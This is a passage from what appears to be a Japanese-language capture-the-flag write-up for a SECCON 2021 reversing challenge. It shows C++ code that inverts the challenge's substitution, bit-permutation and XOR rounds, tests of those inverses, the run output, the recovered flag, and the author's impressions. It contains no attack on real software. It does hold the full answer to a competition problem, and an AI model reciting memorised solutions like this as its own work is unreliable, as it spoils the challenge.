            for (int k = 0; k < 8; ++k) {
                localSize64[(j * 8) + k] = element % 2;
                element /= 2;
            }
        }
        FY(localSize64);
        for (int j = 0; j < 8; ++j) {
            BYTE element = 0;
            int weight = 1;
            for (int k = 0; k < 8; ++k) {
                element |= weight * localSize64[(j * 8) + k];
                weight *= 2;
            }
            pInputArraySize64[(i * 8) + j] = element;
        }
    }
}

void PrintByteArray(const BYTE* pArraySize64) {
    for(int i = 0; i < INPUT_CEILED_LENGTH; ++i) {
        printf("%#04x", pArraySize64[i]);
        putchar(i%8 == 7 ? '\n' : ' ');
    }
}

int compare(const BYTE* pInputArraySize64) {
    return memcmp(pInputArraySize64, expected, 64) ? 1 : 0;
}

int check(BYTE* pInputArraySize64) {
    BYTE transform[256];
    for (int i = 0; i < 256; ++i) {
        transform[i] = (BYTE)(255 - i);
    }
    BYTE byteSwapIndex = 0;
    for (int i = 0; i < 256; ++i) {
        byteSwapIndex += seccon2021[i%10] + transform[i];
        f_SwapArrayElement(byteSwapIndex, i, transform);
    }
    for (int j = 0; j < 10; ++j) {
        S_TransformArray(pInputArraySize64, transform);
        P(pInputArraySize64);
        for (int i = 0; i < INPUT_CEILED_LENGTH; ++i) {
            pInputArraySize64[i] ^= seccon2021[j];
        }
    }
    return compare(pInputArraySize64);
}

void inverse_transform(BYTE* pInputArraySize64, const BYTE* pTransform) {
    for (int i = 0; i < INPUT_CEILED_LENGTH; ++i) {
        bool found = false;
        for (int j = 0; j < 256; ++j) {
            if (pInputArraySize64[i] == pTransform[j]) {
                pInputArraySize64[i] = j;
                found = true;
                break;
            }
        }
        if (!found) {
            printf("INVERS_TRANSFORM element NOT FOUND on index %d!\n", i);
            exit(1);
        }
    }
}

void inverse_P(BYTE* pInputArraySize64, const int* pInversePBuffer) {
    BYTE local[64] = {};
    for (int i = 0; i < BIT_COUNT; ++i) {
        if ((pInputArraySize64[i/8] & (1 << (i%8))) != 0) {
            int j = pInversePBuffer[i];
            local[j/8] |= 1 << (j%8);
        }
    }
    memcpy(pInputArraySize64, local, sizeof(local));
}

void assert_equal_bytes(const BYTE* pExpected, const BYTE* pActual) {
    if (memcmp(pExpected, pActual, INPUT_CEILED_LENGTH) == 0) { return; }

    puts("ASSERTION FAILED!");
    puts("----expected----");
    PrintByteArray(pExpected);
    puts("");
    puts("----actual----");
    PrintByteArray(pActual);
    exit(1);
}

int main(){
    // 元々の処理
    // const char *prompt = "FLAG: ";
    // BYTE buffer[256];
    // write(1, prompt, strlen(prompt));
    // int readBytes = read(0, buffer, 64);
    // // printf("%d\n", readBytes);
    // if (buffer[readBytes-1] == '\n') {
    //     buffer[readBytes-1] = '\0';
    // }
    // int result = check(buffer);
    // if (result != 0) { puts("Wrong"); }
    // else { puts("Correct!"); }

    int inversePBuffer[BIT_COUNT]= {};
    memset(inversePBuffer, -1, sizeof(inversePBuffer));

    for (int i = 0; i < BIT_COUNT; ++i) {
        BYTE local[64] = {};
        local[i/8] = 1 << (i%8);
        P(local);

        int found_count = 0;
        for (int j = 0; j < BIT_COUNT; ++j) {
            if ((local[j/8] & (1 << (j%8))) != 0) {
                inversePBuffer[j] = i;
                ++found_count;
            }
        }
        if (found_count != 1) {
            printf("i=%d, then found count = %d!!!!!!\n", i, found_count);
        }
    }

    BYTE transform[256];
    for (int i = 0; i < 256; ++i) {
        transform[i] = (BYTE)(255 - i);
    }
    BYTE byteSwapIndex = 0;
    for (int i = 0; i < 256; ++i) {
        byteSwapIndex += seccon2021[i%10] + transform[i];
        f_SwapArrayElement(byteSwapIndex, i, transform);
    }

    BYTE flag[INPUT_CEILED_LENGTH];
    memcpy(flag, expected, INPUT_CEILED_LENGTH);
    {
        puts("inverse_transform test");
        BYTE test[INPUT_CEILED_LENGTH];
        memcpy(test, flag, INPUT_CEILED_LENGTH);
        S_TransformArray(test, transform);
        inverse_transform(test, transform);
        assert_equal_bytes(flag, test);
    }
    {
        puts("inverse_P test");
        BYTE test[INPUT_CEILED_LENGTH];
        memcpy(test, flag, INPUT_CEILED_LENGTH);
        P(test);
        inverse_P(test, inversePBuffer);
        assert_equal_bytes(flag, test);
    }

    for (int j = 9; j >= 0; --j) {
        for (int i = 0; i < INPUT_CEILED_LENGTH; ++i) {
            flag[i] ^= seccon2021[j];
        }
        inverse_P(flag, inversePBuffer);
        inverse_transform(flag, transform);
    }
    PrintByteArray(flag);
    printf("%s\n", flag);
}

逆演算を正しく行えているかを確認するテストコードも含んでいます。コンパイルして実行しました:

$ g++ -std=c++1z solve.cpp
$ ./a.out
inverse_transform test
inverse_P test
0x53 0x45 0x43 0x43 0x4f 0x4e 0x7b 0x72
0x33 0x63 0x33 0x6e 0x74 0x5f 0x64 0x33
0x63 0x30 0x6d 0x70 0x31 0x6c 0x33 0x72
0x73 0x5f 0x52 0x5f 0x67 0x30 0x30 0x64
0x5f 0x34 0x74 0x5f 0x30 0x70 0x74 0x31
0x6d 0x31 0x7a 0x31 0x6e 0x67 0x5f 0x50
0x55 0x53 0x48 0x2d 0x50 0x4f 0x50 0x5f
0x70 0x34 0x31 0x72 0x73 0x7d 0000 0000
SECCON{r3c3nt_d3c0mp1l3rs_R_g00d_4t_0pt1m1z1ng_PUSH-POP_p41rs}
$

フラグを入手できました: SECCON{r3c3nt_d3c0mp1l3rs_R_g00d_4t_0pt1m1z1ng_PUSH-POP_p41rs}

感想

  • 難しかったです！reversingのwarmup問題でも大分悩みました。
  • reversingは全6問で、今回は2問解けました。他の問題では、WebAssemblyやGO言語製ELF、ruby製Quine風プログラムやsedプログラムに至るまで、様々な言語を扱っていました。それらも解けるようになりたいです！
  • CryptoやWeb、Pwnは何もわかりませんでした。うーん門外漢……。